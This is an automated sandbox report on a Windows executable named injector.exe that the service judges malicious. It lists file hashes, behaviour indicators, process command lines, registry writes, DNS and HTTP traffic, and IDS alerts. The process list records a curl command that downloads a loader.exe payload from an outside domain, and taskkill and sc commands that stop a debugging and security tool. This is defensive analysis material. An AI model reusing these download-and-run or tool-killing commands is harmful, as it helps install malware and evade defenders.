File name:

injector.exe

Full analysis: https://app.any.run/tasks/372f7858-c3bf-48ed-95e2-453d7e0d7d58
Verdict: Malicious activity
Analysis date: June 14, 2025, 19:38:47
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
xor-url
generic
vmprotect
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (console) x86-64, for MS Windows, 8 sections
MD5:

0E74F2FB53A7654D0562701283A4CBC2

SHA1:

0447A08818F1D8C2899789049577E3174754C91A

SHA256:

F28707DDFCC349795D2EA8D2813090B487B778205F7C2C67E3A98FD757546108

SSDEEP:

98304:IOvPzicW18BkZaBfysOf3RhB1K5Tm/JpBQm03Y4j0SPhSSFiytHIgmoao1n8MFEt:xcvTlz

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  • MALICIOUS

    • Uses TASKKILL.EXE to kill security tools

      • cmd.exe (PID: 4088)
      • cmd.exe (PID: 4528)
      • cmd.exe (PID: 3624)
      • cmd.exe (PID: 6980)

    • XORed URL has been found (YARA)

      • injector.exe (PID: 320)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • injector.exe (PID: 320)
      • loader.exe (PID: 1212)

    • Execution of CURL command

      • injector.exe (PID: 320)

    • Executable content was dropped or overwritten

      • curl.exe (PID: 1156)

    • The executable file from the user directory is run by the CMD process

      • loader.exe (PID: 1212)

    • Hides command output

      • cmd.exe (PID: 3288)
      • cmd.exe (PID: 6344)
      • cmd.exe (PID: 2160)
      • cmd.exe (PID: 4816)
      • cmd.exe (PID: 4088)
      • cmd.exe (PID: 4528)
      • cmd.exe (PID: 4120)
      • cmd.exe (PID: 6980)
      • cmd.exe (PID: 3844)
      • cmd.exe (PID: 6832)
      • cmd.exe (PID: 4088)
      • cmd.exe (PID: 6228)
      • cmd.exe (PID: 6384)
      • cmd.exe (PID: 3624)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2160)
      • cmd.exe (PID: 6344)
      • cmd.exe (PID: 3288)
      • cmd.exe (PID: 4088)
      • cmd.exe (PID: 6832)
      • cmd.exe (PID: 6228)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 4816)
      • cmd.exe (PID: 6384)

    • Stops a currently running service

      • sc.exe (PID: 1728)
      • sc.exe (PID: 5248)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 4120)
      • cmd.exe (PID: 3844)

    • Reads security settings of Internet Explorer

      • loader.exe (PID: 1212)

  • INFO

    • Reads the computer name

      • curl.exe (PID: 1156)
      • loader.exe (PID: 1212)

    • Checks supported languages

      • injector.exe (PID: 320)
      • curl.exe (PID: 1156)
      • loader.exe (PID: 1212)

    • Execution of CURL command

      • cmd.exe (PID: 6312)

    • Create files in a temporary directory

      • injector.exe (PID: 320)
      • curl.exe (PID: 1156)

    • Checks proxy server information

      • loader.exe (PID: 1212)

    • Gets the hash of the file via CERTUTIL.EXE

      • certutil.exe (PID: 1652)

    • Creates files or folders in the user directory

      • loader.exe (PID: 1212)

    • VMProtect protector has been detected

      • injector.exe (PID: 320)
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No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:05:24 16:12:14+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.42
CodeSize: 62976
InitializedDataSize: 31232
UninitializedDataSize: -
EntryPoint: 0x6f704c
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line
No data.
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Total processes
180
Monitored processes
47
Malicious processes
3
Suspicious processes
6

Behavior graph

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start #XOR-URL injector.exe conhost.exe no specs cmd.exe no specs cmd.exe no specs curl.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs loader.exe cmd.exe no specs cmd.exe no specs reg.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs reg.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs certutil.exe no specs find.exe no specs find.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs svchost.exe slui.exe no specs injector.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
320"C:\Users\admin\AppData\Local\Temp\injector.exe" C:\Users\admin\AppData\Local\Temp\injector.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\injector.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
1068\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—injector.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1128taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T C:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Terminates Processes
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
1156curl -s -k -L --output "C:\Users\admin\AppData\Local\Temp\\loader.exe" "https://maticsky.net/cheats/mawdaesdwsewadwfdvsvvc/awdawdwadadca"C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
HIGH
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
1156C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
1212C:\Users\admin\AppData\Local\Temp\\loader.exeC:\Users\admin\AppData\Local\Temp\loader.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
13
Modules
Images
c:\users\admin\appdata\local\temp\loader.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
1652certutil -hashfile "C:\Users\admin\AppData\Local\Temp\loader.exe" MD5 C:\Windows\System32\certutil.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
1728sc stop HTTPDebuggerPro C:\Windows\System32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Service Control Manager Configuration Tool
Exit code:
1060
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1948taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T C:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Terminates Processes
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
2028C:\WINDOWS\system32\cmd.exe /c clsC:\Windows\System32\cmd.exe—injector.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
Total events
2 247
Read events
2 241
Write events
6
Delete events
0

Modification events

(PID) Process:(1212) loader.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(1212) loader.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(1212) loader.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(1652) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION
(PID) Process:(1652) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION
(PID) Process:(1652) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL
Executable files
1
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
1156curl.exeC:\Users\admin\AppData\Local\Temp\loader.exeexecutable
MD5:F12B34356CDFD5B1164ED7C7EF210E2A
SHA256:A2973FA7592CA856417FC7BB60FDE7959A36B663B91AD02580071F3D447B1464
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HTTP(S) requests
8
TCP/UDP connections
29
DNS requests
20
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1212
loader.exe
GET
—
142.250.185.132:80
http://www.google.com/
unknown
—
—
whitelisted
3100
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
764
lsass.exe
GET
200
142.250.185.99:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
764
lsass.exe
GET
200
142.250.185.99:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7056
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7056
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1268
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6404
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1156
curl.exe
76.223.11.49:443
maticsky.net
AMAZON-02
US
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
2336
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
3100
svchost.exe
20.190.159.131:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3100
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
1212
loader.exe
142.250.185.132:80
www.google.com
GOOGLE
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
  • 20.73.194.208
whitelisted
google.com
  • 142.250.186.78
whitelisted
maticsky.net
  • 76.223.11.49
  • 15.197.129.158
  • 75.2.43.161
  • 99.83.217.1
unknown
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.159.131
  • 20.190.159.75
  • 20.190.159.68
  • 20.190.159.129
  • 20.190.159.2
  • 20.190.159.73
  • 40.126.31.67
  • 40.126.31.71
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
www.google.com
  • 142.250.185.132
whitelisted
keyauth.win
  • 172.67.72.57
  • 104.26.0.5
  • 104.26.1.5
malicious
c.pki.goog
  • 142.250.185.99
whitelisted
crl.microsoft.com
  • 2.16.241.19
  • 2.16.241.12
whitelisted

Threats

PID
Process
Class
Message
1212
loader.exe
Potentially Bad Traffic
ET INFO KeyAuth Open-source Authentication System Domain (keyauth .win) in TLS SNI
2200
svchost.exe
Potentially Bad Traffic
ET INFO KeyAuth Open-source Authentication System Domain in DNS Lookup (keyauth .win)
1212
loader.exe
Potentially Bad Traffic
ET INFO KeyAuth Open-source Authentication System Domain (keyauth .win) in TLS SNI
Process
Message
loader.exe
ReFo Security
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
ReFo Security
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
loader.exe
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
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injector.exe